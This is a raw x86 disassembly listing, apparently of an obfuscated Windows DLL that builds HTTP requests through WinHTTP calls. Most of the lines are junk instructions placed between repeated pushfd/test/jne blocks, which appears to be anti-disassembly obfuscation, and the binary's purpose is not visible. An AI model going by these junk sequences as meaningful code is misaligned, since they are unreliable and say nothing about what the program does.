test byte [0x1007b198], 0x2d
jne 0x1007b199
dec edi
daa
in eax, dx
popfd
push esi
push edi
push eax
call fcn.10052ae6
mov edi, dword [ebp - 0xcdc]
pushfd
test byte [0x1007b1c8], 0x71
jne 0x1007b2c9
adc byte [ecx + 0xf], dh
test dword [ebx], edx
add dword [eax], eax
add byte [edx - 0x41], al
cmp ebp, 0xfd4eefb5
inc edx
mov edi, 0xefb5fd81
dec esi
std
stc
in al, 0x38
enter 0xffffffffffffec08, 0x6d
dec ebx
int 0x5c
inc ebp
jnp 0x1007b1ae
push edx
sal bh, cl
cmpsd dword [esi], dword es:[edi]
xor ch, bh
mov dh, al
lodsb al, byte [esi]
sbb bh, byte [esp + ebx*4 + 0x6b]
add edi, dword [edx]
xor dword [edx - 0x390818f3], ebx
mov al, byte [0xf3056d87]
clc
pop dword [edx - 0x2719369]
sbb eax, 0x963b9c66
mov bl, 0xc0
mov eax, 0x75f82284
push esp
push edi
mov ebx, 0x6b49d18
or dword [ebp + 0x1c2cbe7c], 0x61886869
out 0x55, eax
loopne 0x1007b1db
pop ecx
test byte [ebx - 0x66], dh
sub byte [eax - 0xe8f59b8], ah
jae 0x1007b28a
fidiv word [esi]
int1
invalid
pop ebx
inc ebx
push ecx
das
test al, 0xc
inc ecx
sbb eax, dword [ebp - 0x69]
mov ch, 0xd9
fdiv dword [ecx - 0x1b]
test dword [ecx], edi
dec eax
mov al, 0xee
sti
push 0x2221cbac
int 0xaa
rcl dword [ebx + 0x3f], 0x3e
or dh, byte [edi - 0x40adc917]
sal dword [eax + 0x52], 1
sahf
xor dh, byte [ebx + 0x52]
jno 0x1007b2d9
retf
movsd dword es:[edi], dword [esi]
or bh, byte [edi]
popfd
or dword [edx + 0x678f4803], ebx
mov al, 0x34
aad 0x90
adc ecx, dword [ecx]
popfd
mov ecx, dword [edi + 0x20]
lea edx, [ebp - 0xd88]
push edx
push ebx
push ecx
push eax
pushfd
test byte [0x1007b2f4], 0x1c
jne 0x1007b3f5
add eax, 0x1007b2f4
sbb al, 0xf
test dword [eax], edx
add dword [eax], eax
add byte [ebx + 0x7883c49d], ch
call 0x2a5e7ecb
mov dword es:[0xf520b946], eax
stosd dword es:[edi], eax
popfd
les eax, [ebx - 0x34231788]
push esi
sbb ah, byte [esi]
mov dword [0xf520b946], eax
ja 0x1007b2a1
and eax, 0xe0045ab8
push ss
cmp edi, dword [edi + 0x65060f9a]
stc
cmp bl, cl
mov cl, 0x8c
fsubr dword fs:[edx + 0x6a]
pop eax
dec ebx
dec esi
add eax, 0x89378776
adc eax, dword [ecx + 0x7d8e5a5]
inc esp
and al, 0xbb
sbb eax, ecx
not dword [eax + esi*8 + 0x2e]
sub byte [eax], dl
aaa
arpl word [ebx + 0x1b5fdbcf], ax
inc edi
imul edx, dword [ebx + 1], 0xfffffff2
into
mov ah, 0x91
pop eax
dec edx
xchg edi, eax
scasb al, byte es:[edi]
cmp dword [esi + 0xe17e2ec], 0x7c508754
jo 0x1007b35b
ror dword [ecx + 0x78], 0x63
mov esp, dword [eax]
mov bh, bl
ror dword [esi + 0x52], cl
stosb byte es:[edi], al
pop eax
in eax, dx
enter 0xffffffffffffb42a, 0xffffffffffffff99
push ebp
mov dl, 0x91
arpl si, di
sub eax, 0x5ecb10e4
sahf
pop eax
xor byte [edx], ch
imul esi, dword [0x3a1b], 0xffffffa8
adc al, 0xbd
outsd dx, dword [esi]
push ecx
out 0xf4, al
sbb edi, dword [edx]
test al, 0x14
mov ebp, 0xf4e6516f
add edi, dword [eax - 0x7040b2fe]
and eax, 0xb8841e2f
out dx, al
add edi, dword [edi + 0x4d]
cwde
push cs
xor ah, bl
popal
ja 0x1007b356
std
cmpsb byte [esi], byte es:[edi]
arpl word [edx - 0x1a74b7b6], bp
ja 0x1007b362
popfd
sahf
mov edx, 0x392e7639
add al, 0x8e
mov edx, 0x958b7b45
xchg esp, eax
push eax
inc edi
psrlw mm5, mm7
sal ebp, 1
dec esi
test byte [ebx - 0x1bbe6965], al
pop esp
cmpsb byte [esi], byte es:[edi]
xchg edx, eax
pushfd
sub eax, 0xa6e8b353
cmp al, 0xc3
push edi
cmp edi, dword [edx + 0x4027c0fb]
inc ebx
jnp 0x1007b385
int 0x7a
test ecx, edx
push esi
xor ch, dh
adc dword [ebx + 0x35], eax
jbe 0x1007b367
imul dword [ecx - 0x7469ba87]
bound esp, qword [eax - 0x6f235f31]
fistp word [esi + 0x38]
fst qword [edi + 0x1a2fd624]
and eax, 0xa5d196dd
mov bl, 0x3e
cli
aas
fisub dword [esi + edi - 0x61]
imul edx, esi, 0x47
popfd
call dword [sym.imp.WINHTTP.dll_WinHttpCrackUrl]
pushfd
test byte [0x1007b47a], 0x52
jne 0x1007b47b
movsb byte es:[edi], byte [esi]
pop esi
inc esp
mov eax, dword [edi]
in al, 0xcb
xor esi, 0x184cca96
test byte [ebx - 0x2ec36adb], bl
nop
mov edx, 0xc696286d
shl byte [ecx + edx + 0x37], cl
inc edi
push 0x1cb98770
and al, 0x41
xor sp, word [esi]
sbb ch, byte [ecx - 0x45]
das
rcl byte [edi + 0x176cd1b1], cl
push 0x9a7bf182
adc ebx, esi
test eax, eax
mov eax, dword [0x3121ddfc]
mov dl, 0xf6
pop ds
fbstp tbyte [ecx + eax*8 - 9]
movsb byte es:[edi], byte [esi]
cld
frstor dword [ecx]
xor dword [edx + 0x74df1ff6], esi
sal edi, 0xa4
and byte [edx + ecx*4], cl
mov esp, 0xb31105de
scasd eax, dword es:[edi]
cmp dword [esp + ebx*2], eax
mov al, byte [edi + 0x7c]
sbb esp, 0x76
adc byte [esi + 0x6d1a1e0e], al
mov dh, bh
inc ecx
adc dl, byte [edx + 0x2a]
insb byte es:[edi], dx
in eax, 0x77
stc
test al, 0xf9
or al, 0xf8
jnp 0x1007b483
inc edi
push ebp
jle 0x1007b466
inc esp
popfd
test eax, eax
je 0x10087824
add byte [ecx], bh
pop edi
add al, 0x9c
cmp dword [edi + 4], ebx
pushfd
test byte [0x1007b4cc], 0x53
jne 0x1007b4cd
sub ebp, ecx
loopne 0x1007b44b
xchg dl, al
insd dword es:[edi], dx
lodsb al, byte [esi]
fld dword [edi + 0x36]
stosd dword es:[edi], eax
push ds
cmpsd dword [esi], dword es:[edi]
jb 0x1007b4e7
out dx, eax
inc ebp
adc byte [0xf6dae653], dl
push ebx
jbe 0x1007b442
out dx, al
adc eax, 0xfb5211f
sub dh, byte [ecx]
mov esi, 0x794f6599
salc
xor dword [edi - 0x76], eax
test eax, 0x1591c6f7
bound ebp, qword [eax - 0x108d43a8]
in eax, dx
pushfd
push ss
popfd
je 0x100876cf
cmp dword [ebp - 0xd7c], 2
pushfd
test byte [0x1007b540], 0x35
jne 0x1007b541
sbb byte [ecx], ch
in al, 0xc8
inc edx
sub cl, ch
fcmovb st(0), st(5)
sub al, 0x58
out dx, eax
cmpsb byte [esi], byte es:[edi]
cmp dl, byte [ecx]
movsd dword es:[edi], dword [esi]
lds ebp, [eax + 0x5d]
adc cl, bh
cmp dh, byte [eax - 0x68]
dec esp
add cl, 0x85
xor bl, 0xfd
sub eax, 0x5baa6c76
sub al, 0x21
or cl, al
jne 0x1007b575
fistp qword ds:[edi]
mov cl, 0x1e
add eax, 0xdf5919e9
pop es
insb byte es:[edi], dx
sbb eax, 0x773ab7f4
out 0x9e, eax
mov bh, 0x4c
inc ebp
imul edi, edi, 0xdff51901
ficomp word [edi - 0x77fdbee3]
cmp dword [ebp + eax*4 + 0x30], edx
jo 0x1007b52b
sbb ebp, esi
invalid
cmp eax, 0xd907d0ce
out 0x99, al
popfd
mov dword [ebp - 0xcc4], 0x800000
je 0x1007b554
mov dword [ebp - 0xcc4], ebx
dec dword [ebx + 0x1c887]
add byte [ebx], bh
ret
mov eax, dword [edi + 0x1c8]
cmp eax, ebx
je 0x1007b565
push eax
call dword [sym.imp.KERNEL32.dll_ResetEvent]
mov eax, dword [edi + 8]
cmp eax, ebx
je 0x1007b573
push eax
call dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
cmp dword [ebp - 0xc9c], 0x10
pushfd
test byte [0x1007b5cd], 0x17
invalid
mov ch, 7
adc byte [edi], dl
pop ss
jne 0x1007b5ce
mov ah, 0xe3
jo 0x1007b57e
pop cx
test eax, 0x6785839e
sar byte [edi], 0x38
and edi, 0xffffffeb
jg 0x1007b5c0
cmp bl, byte [ebx]
mov bl, 0xf4
push edi
sub al, 0x45
pop ecx
push ebp
out 0x48, eax
inc esi
push 0x882b4c3b
cmp al, 0x56
mov ebp, 0xfb2c4bd5
xchg esp, eax
jae 0x1007b617
in al, 0x1b
cmp edi, dword [eax - 0x6c]
jecxz 0x1007b553
dec esi
sahf
jl 0x1007b581
rcl dword [ebp + ebx*8 + 0x4a], cl
test eax, 0x589e294d
sub ebx, dword [ecx + 0x314c6284]
push esp
fisttp qword [edx - 0x57]
dec ebp
sub dword [esi - 0x7b66d4a8], ebx
bound ecx, qword [ecx + esi - 0x63]
popfd
mov eax, dword [ebp - 0xcb0]
jae 0x1007b5dd
lea eax, [ebp - 0xcb0]
mov dword [ebp - 0xcbc], eax
cmp eax, ebx
pushfd
test byte [0x1007b5f4], 0x33
je 0x1007b5f5
fidivr word [ebx - 0x7b77bdc3]
popfd
je 0x1007b60a
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [eax + 1]
cmp esi, 0x3fffffff
jle 0x1007b611
xor eax, eax
jmp 0x1007b719
lea eax, [esi + esi]
call fcn.101222f0
or al, byte [eax]
mov eax, esp
push 3
push esi
push dword [ebp - 0xcbc]
push eax
call fcn.10052ae6
pushfd
test byte [0x1007b717], 0x7a
jne 0x1007b718
std
mov dword [0x9901903d], esi
mov dword [edx], esp
pop eax
or dword [ecx + 0x7bc7917d], 0x9a7b8e34
pop es
inc esp
scasb al, byte es:[edi]
xchg esi, eax
leave
adc dword gs:[edi], ecx
std
mov ebx, cs
int3
popfd
push dword [ebp - 0xcc4]
push ebx
push ebx
push ebx
pushfd
test byte [0x1007b78d], 0xd1
jne 0x1007b78e
mov esp, 0x10ba3914
daa
mov dl, 0x79
adc al, 0x39
mov edx, 0x79b22710
mov al, ah
and al, 0xb3
cmpsd dword [esi], dword es:[edi]
leave
sbb eax, eax
fidiv dword [edx + ecx*4 - 0x3a]
sbb al, 0x43
sbb dword [eax + 0x5f], ebx
push eax
push ebx
loopne 0x1007b75a
add al, 0x25
sbb edx, dword [edi + 0x7fb93343]
stosd dword es:[edi], eax
xlatb
and eax, 0xea154fae
out 0x84, eax
test bl, dl
mov ebp, 0x16b7f424
aaa
or ebx, dword [ebx]
insb byte es:[edi], dx
into
cmp al, 0xb4
sub dword [edi - 0x7e], ebp
sub ebp, dword [edx + 0x6c]
outsd dx, dword [esi]
shl dh, 1
dec edx
in al, 0x38
cmc
sahf
mov al, 0x98
fprem
cmp edx, esp
pop edx
stc
insb byte es:[edi], dx
xlatb
mov eax, dword [0x4019cd54]
rol byte [ecx - 0x43], cl
outsb dx, byte [esi]
and dword [ecx + edx*2], edi
jl 0x1007b72d
popfd
push dword [ebp - 0xd5c]
push eax
push dword [edi + 4]
call dword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov dword [ebp - 0xcc0], eax
cmp eax, ebx
je 0x1008754a
cmp byte [edi + 0xc], bl
pushfd
test byte [0x1007b7c1], 0xa2
je 0x1007b8c2
add byte [eax], al
cmp al, 0x8d
push esp
xor dword [edi], 0xffffffe3
into
test eax, 0x8dbf5b39
fsub qword [ecx + 0xe045c29]
outsb dx, byte [esi]
je 0x1007b7bc
cmp dword [ebx - 0x41], ebx
invalid
shr dword [eax + 0x38], cl
mov esp, 0xc99c8dd4
or byte [ebp + 0x78], cl
xchg edx, eax
mov al, 0x6f
insd dword es:[edi], dx
jle 0x1007b7eb
inc eax
xor al, 0xf3
in al, 0x1e
cmp esp, dword [ebx + 0x35]
jg 0x1007b7d4
arpl word [0xac5fe57f], si
pop edi
lodsb al, byte [esi]
aam 0x2b
insb byte es:[edi], dx
aas
add ah, byte [esi + 0x49]
sahf
sbb al, 0x6e
jge 0x1007b7eb
out dx, al
jo 0x1007b7c7
or esp, 0xbd6d96b2
inc ecx
pop es
inc ecx
xchg ecx, eax
push esp
mov dh, 1
lds ebx, [eax]
and eax, 0x756ff8c6
sbb eax, 0x352ffb95
xchg esp, eax
mov ch, 0xcf
stosb byte es:[edi], al
fcmovne st(0), st(6)
xchg esp, eax
jb 0x1007b7fc
inc eax
mov ss, word [ebp - 0x60e2cecf]
test eax, 0x107152ce
loop 0x1007b893
sub dh, dl
pop es
mov esp, 0x693e1a2
push ds
mov ch, dl
or ch, dl
shr byte [esi], cl
das
int3
pop es
in al, 0xd5
mov esp, 0xdcbe8b0a
dec esi
mov eax, dword [0x49eeeef5]
fnstcw word [edi + 0x79]
add byte [esi + 0x555974ee], cl
sbb byte [0xdabcfed3], al
int 0x83
je 0x1007b8f0
add byte [edx], ch
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
push ds
cli
inc eax
popfd
movsd dword es:[edi], dword [esi]
or bl, byte [edi]
insd dword es:[edi], dx
mov bh, 0xf2
popfd
jne 0x1007ba71
cmp dword [ebp - 0xd7c], 2
jne 0x1007ba71
pushfd
test byte [0x1007b969], 0x47
je 0x1007b96a
xor ch, byte [ebp - 0x1d]
sbb al, 0xba
stosb byte es:[edi], al
scasb al, byte es:[edi]
xor eax, 0xa8736cc3
fstp qword [ebp + 0x44]
fdivr st(7), st(0)
les ecx, [edx - 0x490093c3]
out 0x16, al
xchg edx, eax
push ebp
or dword [edi - 0x78], 0xa1f4d230
and eax, 0x2fdfd985
outsb dx, byte [esi]
mov edi, 0x19350fba
add dword [esi + 0x62], 0x72
stosb byte es:[edi], al
dec eax
and byte [edx], bh
push ss
jno 0x1007b955
push ebx
inc eax
pop esi
mov al, byte [0x2e7a21b7]
or byte [eax + 0x1f7d2c3a], ch
jae 0x1007b953
xor ebp, ebx
sbb dword [edx], esp
xor esi, ebp
xchg eax, edx
add eax, 0x47ae9402
mov eax, 0x1928e10f
pushal
js 0x1007b8ff
inc eax
fld xword [eax + 0x12]
push edx
or bl, byte [edx - 0x7a]
scasd eax, dword es:[edi]
sti
movsb byte es:[edi], byte [esi]
pop edx
out dx, eax
mov cl, 0x54
jo 0x1007b98d
cmp dword [edi], ecx
pandn mm1, qword [ebx]
fisttp word [ebx]
mov al, byte [0xf62a80c3]
adc byte [ebx - 0x25eccc45], al
mov ebp, 0xd99ed336
pop ebp
neg byte [eax]
popfd
push 4
lea ecx, [ebp - 0xcf4]
push ecx
push 0x1f
push eax
mov dword [ebp - 0xcf4], 0x3100
add byte [eax], al
pushfd
test byte [0x1007ba69], 0xe1
jne 0x1007ba6a
add byte [eax], al
sub esi, ecx
adc ch, cl
jno 0x1007b97f
xchg dword [esi - 0x6d6f65e7], ecx
xchg edx, eax
dec esp
xchg esi, eax
xor ecx, dword [edx]
cmp al, 0x1f
jle 0x1007ba02
outsd dx, dword [esi]
push 5
adc dword [ebp - 6], ebx
aam 0xcd
jno 0x1007b991
popal
mov dl, 0x7c
xchg edi, eax
pop edi
push esp
std
jae 0x1007b99a
test eax, 0xcd8dad89
rcl dword [edi - 0x18], 0x64
dec esp
cmp edx, dword [ecx - 0x72]
pop edi
sub ah, byte cs:[ecx + 0x1c01c465]
xchg dword [esi + 0x190238f7], esi
cmpsb byte [esi], byte es:[edi]
pushal
scasb al, byte es:[edi]
xor dh, cl
les eax, [ecx]
sbb al, 0x87
mov dh, 0xf7
cmp byte [edx], al
sbb dword [esi - 0xecd51a0], esp
in eax, dx
cwde
mov ch, 0x4a
clc
je 0x1007b9f5
push esi
fucom st(6)
mov ebp, 0xb96b8146
mov ebx, 0x444e01cb
daa
inc ebp
jo 0x1007b9c9
and byte [edi], bl
and esp, 0xe1efea63
cmp ebp, eax
sti
aam 0xb
sbb dword [eax - 0x66], 0x7a
mov bh, 0xc1
out dx, eax
loope 0x1007ba33
call 0x93138ef8
pop eax
lcall 0xc013, 0x6cc1b77a
insb byte es:[edi], dx
adc eax, eax
arpl bx, bx
fild word [eax]
int1
sub esp, dword [eax - 0x55f3b41f]
out 0x96, al
and edx, ebx
xchg edi, eax
xchg ecx, eax
push 0xffffffffffffffb5
aam 0x90
cdq
mov ecx, 0x99c25025
adc al, 0x2c
add dl, al
or bh, cl
dec eax
xor edi, dword [edi - 0x62174d1f]
imul dword [ecx - 0xe]
cmp dword [edx], 0x2c
sub al, 4
push eax
add al, 0x50
fstp qword [ecx + 0x3e5600c8]
jno 0x1007b9c9
pop ds
dec eax
push ds
imul esi, dword [edx + 0x6532c2c8], 0xffffffa4
xchg eax, ecx
int1
aaa
fmul st(4)
cmp eax, 0xfce2e217
int3
pop ss
loop 0x1007ba34
loop 0x1007ba4f
cld
cmpsd dword [esi], dword es:[edi]
mov dh, 0x80
vmread edi, ebp
fdiv st(4), st(0)
mov ebx, 0x79644827
sahf
rcr byte [esp + ebp + 0x50], 1
bound edx, qword [eax - 0x2f]
inc esp
popfd
call dword [sym.imp.WINHTTP.dll_WinHttpSetOption]
mov byte [ebp - 0xcb1], bl
cmp dword [edi + 0xfc], ebx
pushfd
test byte [0x1007bb6d], 0x67
jne 0x1007bb6e
pop ebp
sbb al, 0x45
ror byte [ebx + 0x7d], 0x30
adc esi, dword [esi + 0x1b11977b]
sub esp, edx
push cs
cmpsb byte [esi], byte es:[edi]
push 0x987b7d60
into
dec ebp
push 0xb4e2ee1c
mov al, 0xcc
sbb dword [ecx], ecx
mov dl, 0xa2
inc edi
pop ebp
pushal
sal byte [esp + edx + 0x3ff6e307], cl
aad 0x37
adc eax, 0x68228559
enter 0xffffffffffff8e7f, 0x40
jg 0x1007ba51
inc eax
jns 0x1007ba4d
xchg ebx, eax
test ch, bl
arpl word [ecx], di
test al, 0x4b
dec eax
rcl dword [eax - 0x363c8db4], cl
mov edx, 0xe1fec443
enter 0xfffffffffffff970, 0x16
stc
xchg ebp, eax
push ebp
mul dh
mov ch, 0x4f
pop sp
aaa
movsb byte es:[edi], byte [esi]
fistp word [ecx + 0x30]
xchg ebp, eax
pop eax
dec esi
into
mov dl, 0xb8
jnp 0x1007bac1
sub dword [eax], ebp
outsb dx, byte [esi]
add dword [edx - 0x326657ed], edx
and dword [eax - 0x18], esi
outsd dx, dword [esi]
movsb byte es:[edi], byte [esi]
cmc
and eax, 0x61fe5781
mov al, byte [0x2ddbd243]
lea esp, [esp + eax*8]
mov dword [0xd505142f], eax
push 0xffffffffffffff88
adc edx, edx
aad 0xbe
loop 0x1007bb6c
inc ebx
mov dh, 0xf3
inc ecx
xchg ecx, eax
or dword [esi], ecx
inc ecx
sbb al, 0x1d
loop 0x1007bb52
mov edi, 0x2c201d54
xchg ebp, eax
fcmovb st(0), st(0)
movsb byte es:[edi], byte [esi]
add eax, 0xe8c13dae
fdivr qword [0x49376705]
mov ch, al
push es
or byte [ebx], ch
pop ecx
push edx
stosb byte es:[edi], al
xor al, 0x70
insb byte es:[edi], dx
mov cl, ch
xchg byte [ebx - 0x12280ca4], ch
adc al, 0xec
in al, dx
int 0xcf
xor al, 0xb0
out dx, al
push ecx
or eax, 0x1332c086
xchg al, al
xor dl, byte [ebx]
add al, 0xbb
or byte [ebx - 0x40441787], dl
in ax, dx
mov cl, 0x1b
xchg esp, eax
into
push ss
popfd
jbe 0x1007c0b3
lea eax, [edi + 0xec]
cmp dword [eax + 0x14], 0x10
jb 0x1007bb83
mov eax, dword [eax]
mov dword [ebp - 0xcbc], eax
cmp eax, ebx
je 0x1007bd0e
pushfd
test byte [0x1007bc5d], 0x4e
jne 0x1007bc5e
cmp eax, 0xb1c50fbe
aaa
or ebx, dword [eax + 0x79]
mov eax, dword [0x9abc41ee]
xchg edi, eax
push edi
inc ebx
xchg ecx, eax
sbb esp, dword [edx]
dec eax
nop
or eax, 0x96f18384
and bh, bh
ja 0x1007bb5a
push dword [edi - 0x65]
insd dword es:[edi], dx
dec ebx
jecxz 0x1007bbd1
sal dword [ebp + edi*2 - 0x4e0fae69], 1
int 0x38
aam 0xeb
out 0xdd, eax
xchg ebx, eax
pop esp
mov ecx, 0x95e15ca0
je 0x1007bbd2
dec ebx
movhps qword [esi], xmm6
test byte [ecx - 0x70], bl
out dx, eax
test dword [ecx + 0x1cf89867], edx
mov ebp, 0xd601a534
add al, 0x9b
outsd dx, dword [esi]
mov al, byte [0x39dc3461]
cdq
inc edi
imul ecx, dword [esi - 0x2d], 0x14
sbb byte [ecx + 0x4c], cl
leave
cmp bl, bh
shr esp, 0x3f
mov al, byte [0x48b7fa80]
inc ecx
xor dword [ebp + 0x52], ebp
mov al, 0xee
mov ecx, 0x4e779694
fisub word [ecx + esi*4 - 0x30]
push ebp
jno 0x1007bbfe
mov ah, 0x90
add ebp, dword [edi - 0x22b127d7]
ja 0x1007bbbc
cmp cl, al
cmp eax, 0x3c2e8d00
movsb byte es:[edi], byte [esi]
pop ebp
or bh, bl
rol dword [ecx], cl
mov dword [0xd625aeee], eax
dec edx
salc
or eax, 0xb5d53f22
mov ecx, 0xa1a1cea8
sal cl, 1
sub esi, dword [esi]
add eax, 0x385f4112
dec esi
insb byte es:[edi], dx
mov bl, 0x4d
push ebp
out 0x68, al
and eax, 0x51695121
push cs
adc al, 0x83
fcomp dword [esi - 0x44]
popfd
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
pushfd
test byte [0x1007bc8f], 0x24
jne 0x1007bc90
pop ebx
aas
push ss
lds esp, [ebp + edi*8 + 0x53]
out dx, al
aad 0x93
xor eax, 0xd58838dd
and ecx, dword [ebp - 0x54]
mov esp, 0x85e897a5
jb 0x1007bc87
test dword [edx - 3], esi
xchg edx, eax
mov edx, 0x4f1f5d6d
popfd
lea esi, [eax + 1]
cmp esi, 0x3fffffff
pushfd
test byte [0x1007bd06], 0x76
jne 0x1007bd07
jbe 0x1007bd18
arpl word [edi], bp
das
aam 0xd9
mov esi, 0x71432292
in eax, 0x78
das
push esp
idiv dword [ebp - 0x23]
push esp
inc eax
xor ecx, ebp
mov edi, 0x5ad03274
sub al, 0xfa
xor al, 0xa8
daa
dec ebx
in al, dx
stc
stc
imul dword [ecx + 0x127d7207]
mov ebx, 0x1e879dc3
dec esp
idiv dword [eax + ebp*2]
sub eax, 0x2286efb9
dec ecx
test al, 6
mov cl, byte [edi - 0x4b]
sti
scasb al, byte es:[edi]
div ecx
fisub dword [edi - 0x22]
bound ecx, qword [ebp - 0x30]
bound ebx, qword [edi]
inc esi
imul esi, dword [eax - 0x5e], 0xffffffd4
dec esp
add esp, dword [esi + 0x4a02f04b]
push 0x6a
ror dword [edi], 1
js 0x1007bca1
fidiv word [esi]
or esi, edx
pop esp
or bh, dh
popfd
jle 0x1007bdf9
xor eax, eax
jmp 0x1007bf6d
idiv dword [ebp + 0xf761007]
test ebp, edx
add byte [eax], al
add byte [ebp - 0x72], dl
mov ebp, 0xa8b0e17c
xchg edi, eax
movsd dword es:[edi], dword [esi]
cdq
push ss
aam 0x41
test eax, 0x23cfb878
scasb al, byte es:[edi]
xchg dword [ecx + 0x17], edi
or cl, ch
xchg esp, eax
loopne 0x1007bd71
adc ah, dl
sar ecx, 0xbb
dec ecx
sbb al, 0xc
in al, dx
test byte [ecx - 0x38], 0x32
push ss
test byte [eax - 0x27], 0xbe
add byte [esi + 0x188de0c], dl
out dx, eax
cmc
jne 0x1007bd8f
cmpsb byte [esi], byte es:[edi]
push ds
sbb al, 0x25
sbb eax, 0xad4c0f60
loop 0x1007bd83
mov bh, 0xf5
or eax, 0x9946e17
pop eax
out dx, al
mov ebx, 0xe86e2516
shl dword [edx + 0x17], cl
push ss
and eax, 0x62d3e86e
pop ss
mov ebx, 0x3fa1976a
add ebx, dword [ebp + ebp*8 + 0x23]
leave
cmp al, 0x5c
pop esp
mov dword [edi - 0x3ab71af2], edi
cmc
xor al, 0xf8
xchg esp, eax
dec esp
mov bh, 0xcd
js 0x1007bdaf
sub esi, esp
pop eax
add dh, byte [edx + 0x54]
andps xmm0, xmm1
and dword [edi], esi
invalid
push ds
push ebp
add dword [edi], esp
mov edi, dword [edx]
out 0x45, eax
jo 0x1007bde7
push eax
mov edx, 0x74f0e5b8
aas
mov dl, 0x88
cli
and edx, dword [edx + 0x34]
xchg esi, eax
leave
aaa
or al, 0x6b
das
fimul word [eax - 0x449e08b4]
outsb dx, byte [esi]
xor al, 0xab
jae 0x1007bdb9
inc ecx
in al, dx
ficom dword [esp + edx*2 + 0x2a3f0db]
imul esp, ecx, 0xffffff8d
dec edi
xchg cl, ch
push 0x76a266ca
adc dword [ecx + 0x8c6636b], 0xfed1d1e2
aam 0x8b
popfd
lea eax, [esi + esi]
call fcn.101222f0
mov eax, esp
pushfd
test byte [0x1007be5c], 4
jne 0x1007be5d
or al, 0xa9
pop ecx
push 0x436bea05
in eax, 0x94
imul eax, dword [ebx + 0x26], 0xffffffe5
xchg esp, eax
xchg ebx, eax
cmpsd dword [esi], dword es:[edi]
jb 0x1007be6e
je 0x1007be13
inc esi
cmp al, 0x6d
xor al, 0x12
jbe 0x1007bdd9
mov ebx, 0xa0581b2f
cmpsb byte [esi], byte es:[edi]
stosd dword es:[edi], eax
mov al, byte [0xe3a89719]
pop esp
fsub qword [edx + 0x12fc031a]
into
jnp 0x1007bdd9
push ss
pop esi
jno 0x1007beb5
lodsd eax, dword [esi]
int 0xa7
out 0x9b, eax
sbb dword [ebx - 0x19], 0xe74a2b69
mov dl, byte [esi]
pop eax
mov edi, 0x17325570
cmp edx, esp
int1
adc al, 0xe2
push ss
fdivr st(6), st(0)
push ebp
popfd
push 3
push esi
push dword [ebp - 0xcbc]
push eax
call fcn.10052ae6
pushfd
test byte [0x1007bf6b], 0x35
jne 0x1007bf6c
scasd eax, dword es:[edi]
insb byte es:[edi], dx
inc eax
sbb al, 0xef
xchg edi, eax
in eax, dx
or eax, edx
les esp, [ebx - 0x6a]
xor eax, 0x3affc372
or dword [ecx + esi*4 - 0x1600117b], ebx
mov cl, bh
mov edx, 0x8c5a29e4
imul ebx, eax, 0xd66fa9da
mov esi, ebx
lodsb al, byte [esi]
and al, 0x58
mov al, byte [0x66f3bb1]
mov cl, 0x3b
outsd dx, dword [esi]
push es
mov esi, 0xdf8e8923
pop ebp
outsd dx, dword [si]
mov byte [ecx - 0x59], al
jecxz 0x1007bf11
jb 0x1007bea6
push ebx
or byte [esp + ecx*4 - 0x77], dl
adc dword [ebp - 0x30c0ed0b], ebp
outsb dx, byte [esi]
pop ds
cmp dword [edx + ecx*2], esp
or eax, 0x79609cf4
aas
mov ebx, 0xefed217f
pop eax
add eax, 0x204dc3eb
test al, 1
cwde
add dword [eax + 0x28a55671], ebx
scasb al, byte es:[edi]
mov eax, 0xa9911333
lds ebp, [edi + 0x14]
adc cl, byte [edx + 0x750351b9]
retf 0x50d4
jno 0x1007bf36
movsd dword es:[edi], dword [esi]
sub byte [esi - 0x6eeccc48], ch
test eax, 0x12146fc5
mov bh, byte [ecx - 0x358afcaf]
aam 0x50
in al, dx
sbb eax, 0x3c9a14f8
aad 0xc2
and dl, ch
popal
inc esp
aam 0x54
sub al, 0xa4
or dh, byte [edx - 0x63eabe3c]
pop ds
in al, dx
pop ds
popfd
xchg esp, eax
sub bh, ch
aas
cmp esi, dword [ecx - 0x74]
fmul st(0)
shl byte [edx - 0x42], 0xee
push es
ror cl, 0x2b
inc edx
mov eax, 0xbae82a3c
mov ss, word [ebp - 0x7fc37382]
and ah, byte [ecx + 0x53]
mov ebx, 0x730ad437
adc dword [eax], ebp
jecxz 0x1007bf39
add bl, byte [ecx + 0x78d3e4a6]
mov eax, dword [0xd099d7d]
jge 0x1007bf70
cdq
cmpsb byte [esi], byte es:[edi]
in al, 0xd3
js 0x1007bede
jge 0x1007bedc
or dword [0x590c2d7d], ecx
or al, 0x59
scasb al, byte es:[edi]
push ss
sal edi, 1
daa
mov esi, 0x6d6dc600
xchg ecx, eax
pop es
mov cl, 0xb9
sub dh, dl
dec edx
pop edx
pop ebx
in eax, 0x53
sub dword [eax - 0x4abdd485], esp
outsb dx, byte ds:[esi]
cdq
imul ebp, dword [ebx], 0xf4c8806a
xchg byte [eax], ah
popfd
mov ecx, dword [edi + 0xfc]
push 0x1000000
push ecx
push eax
add byte [eax], al
add byte [eax], ch
add byte [eax], al
add dword [ecx + 0x50], edx
push dword [ebp - 0xcc0]
call dword [sym.imp.WINHTTP.dll_WinHttpAddRequestHeaders]
test eax, eax
jne 0x1007c0b3
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.WinHttpAddRequestHeaders_error:_d
push ebx
push ebx
mov dword [edi + 0x124], eax
pushfd
test byte [0x1007c0a9], 0x2e
pop es
adc byte [esi], ch
jne 0x1007c0aa
sub byte [edx - 0x4a], dh
test eax, 0x5d8e873c
cmp ch, ah
or eax, 0x228dfc7e
adc byte [eax + 0x61], 8
stosb byte es:[edi], al
bound ecx, qword [esi + 0x4c]
mov ecx, 0x24428fce
fdivr qword [ebx + eax*8 - 0x2ea02a26]
push edi
test dword [ebx + edx*2 + 0x48], ebx
xor dword [eax + ebx*2 - 0x31], ebp
and al, al
xor bh, byte [0x81fd54e2]
mov dl, 0xfd
jo 0x1007c067
je 0x1007bfa7
mov ebp, 0x958a83b2
aaa
xchg edi, eax
lea esp, [esi]
lodsb al, byte [esi]
mov dl, 0x83
mov dl, byte [ebp - 0x7268c89b]
lodsb al, byte es:[esi]
dec ecx
inc edi
push 0xc397d94a
push eax
rcr byte [edi - 0x5abc0def], cl
test ecx, eax
mov cl, 0x7c
cld
aad 0xf3
inc ebp
inc ecx
jge 0x1007c061
sub esp, ebp
out 0x71, eax
